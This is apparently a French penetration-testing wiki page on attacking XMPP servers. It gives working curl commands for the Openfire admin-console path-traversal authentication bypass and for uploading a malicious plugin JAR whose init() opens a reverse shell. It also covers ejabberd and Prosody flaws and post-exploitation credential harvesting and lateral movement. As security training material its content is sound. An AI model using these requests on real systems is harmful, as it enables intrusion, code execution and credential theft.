Exploitation serveur

La console admin d'Openfire peut être atteinte sans identifiants via une faille de normalisation par path-traversal : une requête dont le chemin contient un segment de traversée encodé devant un chemin de setup est traitée comme pré-setup et saute le filtre d'authentification, exposant les pages admin authentifiées. De là, un attaquant téléverse un JAR de plugin malveillant pour l'exécution de code. Les problèmes de modules et d'analyse TLS d'ejabberd et Prosody étendent la surface.

3 min de lecturemis à jour le 12 oct. 2026florianamette1 contributeur
Demander à votre assistant (MCP)Modifier sur GitHub

Une fois que l'énumération a identifié le démon, le logiciel serveur lui-même est la cible, et le cas le plus marquant est la console admin d'Openfire. Le filtre d'administration web d'Openfire exempte un petit ensemble de chemins /setup/ pour que l'assistant de premier démarrage fonctionne avant l'authentification, et il normalise le chemin de la requête après cette vérification d'exemption. Une URL qui intègre une traversée .. encodée devant un segment setup-* passe le test d'exemption en tant que page de setup, puis se normalise en une page admin authentifiée, de sorte que la console admin est atteignable sans connexion. Cet accès est ensuite chaîné au téléversement d'un plugin Openfire malveillant (un .jar), que le serveur charge et exécute, donnant l'exécution de code en tant qu'utilisateur du service Openfire. ejabberd et Prosody apportent leurs propres bogues de chargement de modules et d'analyse TLS.

Identifier d'abord#

bash
# confirm the daemon and reach the admin console port (9090 http / 9091 https by default)
curl -s http://target.lan:9090/login.jsp | grep -i openfire
# the <identity name='Openfire'/> from disco#info also confirms it; note the version in the footer

Le contournement est spécifique à une bande de versions d'Openfire ; lisez la version depuis le pied de page de la page de connexion ou l'identité disco avant de poursuivre, car les versions corrigées normalisent le chemin avant la vérification du filtre et rejettent la traversée.

Contournement détaillé de la console admin et upload de plugin#

Atteignez une page admin authentifiée en préfixant une traversée encodée à un chemin de setup :

bash
# %u002e%u002e decodes to .. in Openfire's embedded Jetty decoder, so the auth
# filter sees a /setup/ path and exempts it, then normalization resolves to the admin page
curl -s -i "http://target.lan:9090/setup/setup-/%u002e%u002e/%u002e%u002e/user-summary.jsp"
# HTTP/1.1 200 OK with the user-groups admin page body => the auth filter was bypassed

Un 200 renvoyant un vrai contenu admin (listes d'utilisateurs, gestion des groupes) confirme le contournement ; une redirection 302 vers login.jsp signifie que la version n'est pas affectée. Avec l'accès admin, créez un utilisateur privilégié ou passez directement à l'exécution en téléversant un plugin. Un plugin Openfire est un JAR contenant une classe implémentant l'interface de plugin ; un plugin fabriqué exécute du code arbitraire au chargement :

bash
# upload a malicious plugin through the (now reachable) plugin-admin page
curl -s -b "$ADMIN_COOKIE" -F "uploadfile=@evil.jar" \
  "http://target.lan:9090/plugin-admin.jsp?uploadPlugin"
# the plugin appears in the plugin list and executes; a reverse shell in its init() connects back

Openfire déploie le JAR téléversé dans son répertoire de plugins et le charge, de sorte que le code au moment de l'initialisation dans le plugin s'exécute en tant qu'utilisateur Openfire. Le module Metasploit exploit/multi/http/openfire_auth_bypass_rce chaîne la traversée et l'upload de plugin de bout en bout ; interprétez une session renvoyée comme une exécution en tant que compte Openfire.

Variantes et autres démons#

  • ejabberd : le chargement de modules via l'interface d'administration ou ejabberdctl permet à un attaquant équivalent admin de préparer un module pour l'exécution, et certaines versions ont présenté des failles d'analyse de handshake TLS/STARTTLS atteignables en pré-authentification sur 5222/5269.
  • Prosody : les modules Lua chargés depuis le chemin de configuration s'exécutent dans le processus serveur, de sorte qu'un accès en écriture au répertoire des modules ou à la console telnet admin (prosodyctl) est une exécution de code ; les points de terminaison HTTP-upload et BOSH ont eu leurs propres bogues de gestion des entrées.
  • Fédération (5269) : un serveur qui accepte un dialback serveur à serveur faiblement validé peut être alimenté par du trafic entrant usurpé ; combinez avec l'abus d'authentification dans l'authentification.

Suite#

  • Le chemin du plugin produit un shell en tant qu'utilisateur du service Openfire (ou ejabberd/Prosody) ; de là, lisez la configuration du serveur et la base de données pour les identifiants de chaque compte et la liste de contacts de tout le déploiement.
  • Un point d'ancrage sur l'hôte XMPP se trouve fréquemment derrière le périmètre avec une portée vers l'infrastructure d'annuaire et de messagerie, permettant un mouvement latéral.

Références#